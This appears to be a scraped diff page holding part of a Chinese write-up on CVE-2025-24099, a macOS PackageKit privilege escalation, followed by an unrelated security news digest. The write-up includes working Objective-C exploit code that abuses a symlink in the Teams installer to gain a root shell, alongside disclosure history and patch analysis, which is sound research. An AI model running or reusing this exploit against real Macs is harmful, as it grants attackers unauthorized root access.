|
||||
|
||||
|
||||
同时renameAPI改为，若禁止链接解析则会使用renamex_npflag “RENAME_NOFOLLOW_ANY”：
|
||||
|
||||
|
||||
CVE-2025-24099：LPE 的另一个变体
|
||||
现在一切看起来都很好，但是第三方开发人员签名的 PKG 文件怎么样？
|
||||
|
||||
事实上，这是一个变体漏洞，在安装普通的第三方签名软件包时可被利用来获得root权限提升。
|
||||
|
||||
问题（例如 Teams_osx.pkg）
|
||||
|
||||
让我们以 Microsoft Teams 安装程序包（Teams_osx.pkg）为例。
|
||||
|
||||
乍一看，问题存在于postinstall脚本中：
|
||||
|
||||
|
||||
|
||||
它使用“ ”注册了一个具有root权限的启动守护进程。开发人员认为，PKG安装后，应用程序路径应该归root所有，普通用户不能修改。${UPDATER_DAEMON_FILE_IN_APP}
|
||||
|
||||
然而，通过创建符号链接可以打破这个错误的假设！
|
||||
|
||||
攻击者可以先将root拥有的PKG Payload内容重定向到其他位置，然后${UPDATER_DAEMON_FILE_IN_APP}直接在路径“ ”处写入payload，以获取root权限。
|
||||
|
||||
漏洞利用和演示（针对 Teams_osx.pkg）
|
||||
|
||||
漏洞利用代码如下：
|
||||
|
||||
```
|
||||
#define TEAMS_APP_FOLDER "/Applications/Microsoft Teams classic.app"#define XPC_FOLDER TEAMS_APP_FOLDER"/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS"#define XPC_EXE_PATH XPC_FOLDER"/TeamsUpdaterDaemon"void exploit_teams_pkg(void) { mkdir("/Applications/1337.app", 0777); symlink("/Applications/1337.app", TEAMS_APP_FOLDER); printf("[*] Waiting for Microsoft Teams classic installation...\npress enter when the installation is done."); getchar(); unlink(TEAMS_APP_FOLDER); system("mkdir -p \""XPC_FOLDER"\""); printf("[*] Writing my LPE payload\n"); [@"#!/bin/sh\ntouch /Library/LPE\n/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal\n" writeToFile:@XPC_EXE_PATH atomically:TRUE encoding:NSUTF8StringEncoding error:nil]; chmod(XPC_EXE_PATH, 0777);}@protocolDUMMY- (void)ping;@endvoid wakeup_daemon_xpc(void) { NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.microsoft.teams.TeamsUpdaterDaemon" options:NSXPCConnectionPrivileged]; connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DUMMY)]; [connection resume]; [connection.remoteObjectProxy ping]; printf("[*] All done, enjoy the root shell :p\n");}
|
||||
```
|
||||
|
||||
|
||||
演示视频：https://youtu.be/8h0N_n_XNQo
|
||||
|
||||
谁应该受到指责？
|
||||
|
||||
我首先通过 MSRC 门户向 Microsoft 报告了此问题。但他们认为这不是一个漏洞：
|
||||
|
||||
|
||||
|
||||
在公开披露这个 0-day 漏洞之前，我决定向 Apple 报告这个问题。由于我报告过很多PKCoreShove逻辑中的 SIP 绕过问题，现在我对这个问题有了更好的了解。我认为这个问题的根本原因应该归咎于 Apple，只有 Apple 才能彻底解决此类问题：
|
||||
|
||||
当我们安装Apple 签名的 PKG文件时，Apple 会仔细检查目标路径，以避免SIP 绕过问题。如果目标路径是符号链接且不受信任，则在推送 PKG 内容之前不会遵循符号链接。
|
||||
|
||||
现在，我们正在安装一个由第三方开发人员签名的通用 PKG 文件。Apple在推送之前不再检查目标路径，这导致了此处的LPE 问题。通过创建符号链接，攻击者可以将 root 拥有的 PKG 有效负载内容重定向到任意位置。
|
||||
|
||||
补丁
|
||||
|
||||
macOS 15.0 中有补丁吗？
|
||||
|
||||
|
||||
|
||||
|
||||
苹果公司告诉我，这个问题已经在 macOS Sequoia 15.0 中得到解决，我的信用信息可以在他们的附加认可中找到。
|
||||
|
||||
然而，通过我的测试，我仍然可以直接再次利用它，而无需更改我的代码。
|
||||
|
||||
当我准备在OBTS上披露这个 0day 漏洞时，苹果承认了他们的错误：
|
||||
|
||||
|
||||
|
||||
macOS 15.3 中的补丁
|
||||
|
||||
在函数中-[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]：
|
||||
|
||||
|
||||
|
||||
它枚举 PKG Payload 中的所有 bundle 组件，并将父 bundle组件标记为ATOMIC_REPLACEMENT_PATH，需要以原子方式推送。shove命令将像这样生成：
|
||||
|
||||
```
|
||||
shove -f -s -O /Library/InstallerSandboxes/.PKInstallSandboxManager/EEE6ABF9-A22A-4502-9FC6-F10C0A567B18.activeSandbox/ShoveExtraOptions-7ACF2D9C-6589-4679-9850-C8ECB05111FA.plist /Library/InstallerSandboxes/.PKInstallSandboxManager/EEE6ABF9-A22A-4502-9FC6-F10C0A567B18.activeSandbox/Root /
|
||||
```
|
||||
|
||||
|
||||
内容ShoveExtraOptions-7ACF2D9C-6589-4679-9850-C8ECB05111FA.plist：
|
||||
|
||||
```
|
||||
{ "ATOMIC_REPLACEMENT_PATHS" => [ 0 => "Applications/Microsoft Teams classic.app" ]}
|
||||
```
|
||||
|
||||
|
||||
接下来，在函数中-[PKCoreShove shoveOneLevel:dest:]
|
||||
|
||||
|
||||
它不会遵循原子替换路径的目标符号链接。
|
||||
|
||||
总结
|
||||
PackageKit 框架中的攻击面
|
||||
- 一次难忘的漏洞搜寻之旅（补丁和绕过方法：）
|
||||
|
||||
- 漏洞利用也已公开：https://github.com/jhftss/POC
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
来阅读本文
|
||||
|
||||
|
||||
|
||||
**点它，分享点赞在看都在这里**
|
||||
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# 网络安全动态 - 2025.02.18
|
||||
Sugar Delta Insights 2025-02-18 09:30
|
||||
|
||||
**网络安全动态 — Cyber Daily**
|
||||
|
||||
2025.02.18
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
警惕：仿冒 DeepSeek 官方 App 的手机木马病毒被捕获
|
||||
|
||||
关键词：仿冒App AI 木马病毒
|
||||
|
||||
2025年02月17日报道。国家计算机病毒应急处理中心捕获了一种仿冒国产人工智能大模型“DeepSeek”官方App的安卓平台手机木马病毒。用户在点击仿冒App后，会被诱导进行“更新”，实际安装含有恶意代码的子安装包，并请求用户授权后台运行和无障碍功能权限。该木马具备窃取短信、通讯录等个人隐私信息的能力，并阻止用户卸载。
|
||||
|
||||
Source:https://www.ithome.com/0/831/452.htm
|
||||
|
||||
|
||||
黑客利用 Microsoft Teams 会议邀请进行设备码钓鱼攻击窃取账户访问权限
|
||||
|
||||
关键词：会邀 网络钓鱼
|
||||
|
||||
2025年02月17日报道。。攻击者通过伪装成合法的 Teams 会议邀请邮件，引诱受害者在 Microsoft 登录页输入设备码，进而窃取认证令牌。窃取的令牌允许攻击者在不需要密码或多因素认证的情况下持久访问受害者账户，甚至进一步窃取敏感信息。
|
||||
|
||||
Source:hhttps://cybersecuritynews.com/microsoft-teams-meeting-invite-abuse/
|
||||
|
||||
|
||||
黑客感染立陶宛食品巨头 Vičiūnai Group 网站
|
||||
|
||||
关键词：食品 网络攻击
|
||||
|
||||
2025年02月14日报道。此次攻击由网络威胁猎人 Darius Povilaitis 发现，加载器能够分析系统信息并投递额外的恶意负载，如木马、信息窃取工具或勒索病毒。黑客通常通过社会工程手段诱导受害者下载恶意程序。
|
||||
|
||||
Source:https://cybernews.com/security/hackers-infect-websites-of-viciunai-group/
|
||||
|
||||
|
||||
韩国暂停 DeepSeek AI 下载以应对隐私违规问题
|
||||
|
||||
关键词：AI 隐私问题
|
||||
|
||||
2025年02月17日报道。韩国个人信息保护委员会（PIPC）于2025年2月15日起暂停了中国人工智能聊天机器人 DeepSeek 的新用户下载，原因是该服务未能符合数据保护法规。PIPC在审查后发现，DeepSeek存在与第三方服务提供商的通信功能和个人信息处理政策的不足，且未充分考虑国内隐私法律。
|
||||
|
||||
Source:https://thehackernews.com/2025/02/south-korea-suspends-deepseek-ai.html
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
扫码关注我们
|
||||
|
||||
Delta Insights
|
||||
|
||||
行业资讯 动态观察 前沿研究
|
||||
|
||||
免责声明：此通讯文稿仅供参考，任何使用本公众号内容所引发的行为或决策，完全由您个人自行承担责任。在作出决策时，您应当咨询合格的安全顾问。
|
||||
|
||||
Reference in new issue
Block a user